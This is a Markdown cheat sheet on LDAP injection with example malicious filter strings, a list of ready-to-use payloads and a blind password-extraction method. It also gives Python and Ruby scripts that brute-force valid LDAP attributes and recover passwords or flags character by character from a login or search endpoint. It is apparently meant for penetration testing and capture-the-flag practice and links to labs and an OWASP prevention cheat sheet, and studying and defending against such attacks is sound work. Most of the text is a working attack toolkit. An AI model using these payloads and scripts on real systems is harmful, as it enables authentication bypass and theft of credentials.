# LDAP Injection

> LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.


## Summary

* [Methodology](#methodology)
* [Payloads](#payloads)
* [Blind Exploitation](#blind-exploitation)
* [Defaults attributes](#defaults-attributes)
* [Exploiting userPassword attribute](#exploiting-userpassword-attribute)
* [Scripts](#scripts)
  * [Discover valid LDAP fields](#discover-valid-ldap-fields)
  * [Special blind LDAP injection](#special-blind-ldap-injection)
* [Labs](#labs)
* [References](#references)


## Methodology

Example 1.

```sql
user  = *)(uid=*))(|(uid=*
pass  = password
query = (&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))
```

Example 2

```sql
user  = admin)(!(&(1=0
pass  = q))
query = (&(uid=admin)(!(&(1=0)(userPassword=q))))
```

## Payloads

```text
*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y
```

## Blind Exploitation

We can extract using a bypass login

```sql
(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...
(&(sn=administrator)(password=MY*))  : OK
(&(sn=administrator)(password=MYA*)) : KO
(&(sn=administrator)(password=MYB*)) : KO
(&(sn=administrator)(password=MYC*)) : KO
...
(&(sn=administrator)(password=MYK*)) : OK
(&(sn=administrator)(password=MYKE)) : OK
```


## Defaults attributes

Can be used in an injection like `*)(ATTRIBUTE_HERE=*`

```bash
userPassword
surname
name
cn
sn
objectClass
mail
givenName
commonName
```


## Exploiting userPassword attribute

`userPassword` attribute is not a string like the `cn` attribute for example but it’s an OCTET STRING
In LDAP, every object, type, operator etc. is referenced by an OID : octetStringOrderingMatch (OID 2.5.13.18).

> octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit comparison (in big endian ordering) of two octet string values until a difference is found. The first case in which a zero bit is found in one value but a one bit is found in another will cause the value with the zero bit to be considered less than the value with the one bit.

```bash
userPassword:2.5.13.18:=\xx (\xx is a byte)
userPassword:2.5.13.18:=\xx\xx
userPassword:2.5.13.18:=\xx\xx\xx
```

## Scripts

### Discover valid LDAP fields

```python
#!/usr/bin/python3
import requests
import string

fields = []
url = 'https://URL.com/'
f = open('dic', 'r')
world = f.read().split('\n')
f.close()

for i in world:
    r = requests.post(url, data = {'login':'*)('+str(i)+'=*))\x00', 'password':'bla'}) #Like (&(login=*)(ITER_VAL=*))\x00)(password=bla))
    if 'TRUE CONDITION' in r.text:
        fields.append(str(i))

print(fields)
```

### Special blind LDAP injection (without "*")

```python
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
    print("[i] Looking for number " + str(i))
    for char in alphabet:
        r = requests.get("http://ctf.web?action=dir&search=admin*)(password=" + flag + char)
        if ("TRUE CONDITION" in r.text):
            flag += char
            print("[+] Flag: " + flag)
            break
```

Exploitation script by [@noraj](https://github.com/noraj)

```ruby
#!/usr/bin/env ruby
require 'net/http'
alphabet = [*'a'..'z', *'A'..'Z', *'0'..'9'] + '_@{}-/()!"$%=^[]:;'.split('')

flag = ''
(0..50).each do |i|
  puts("[i] Looking for number #{i}")
  alphabet.each do |char|
    r = Net::HTTP.get(URI("http://ctf.web?action=dir&search=admin*)(password=#{flag}#{char}"))
    if /TRUE CONDITION/.match?(r)
      flag += char
      puts("[+] Flag: #{flag}")
      break
    end
  end
end
```



## Labs

* [Root Me - LDAP injection - Authentication](https://www.root-me.org/en/Challenges/Web-Server/LDAP-injection-Authentication)
* [Root Me - LDAP injection - Blind](https://www.root-me.org/en/Challenges/Web-Server/LDAP-injection-Blind)


## References

- [[European Cyber Week] - AdmYSion - Alan Marrec (Maki)](https://www.maki.bzh/writeups/ecw2018admyssion/)
- [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN - October 31, 2018](https://0xukn.fr/posts/writeupecw2018admyssion/)
- [How To Configure OpenLDAP and Perform Administrative LDAP Tasks - Justin Ellingwood - May 30, 2015](https://www.digitalocean.com/community/tutorials/how-to-configure-openldap-and-perform-administrative-ldap-tasks)
- [How To Manage and Use LDAP Servers with OpenLDAP Utilities - Justin Ellingwood - May 29, 2015](https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilities)
- [LDAP Blind Explorer - Alonso Parada - August 12, 2011](http://code.google.com/p/ldap-blind-explorer/)
- [LDAP Injection & Blind LDAP Injection - Chema Alonso, José Parada Gimeno - October 10, 2008](https://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf)
- [LDAP Injection Prevention Cheat Sheet - OWASP - July 16, 2019](https://www.owasp.org/index.php/LDAP_injection)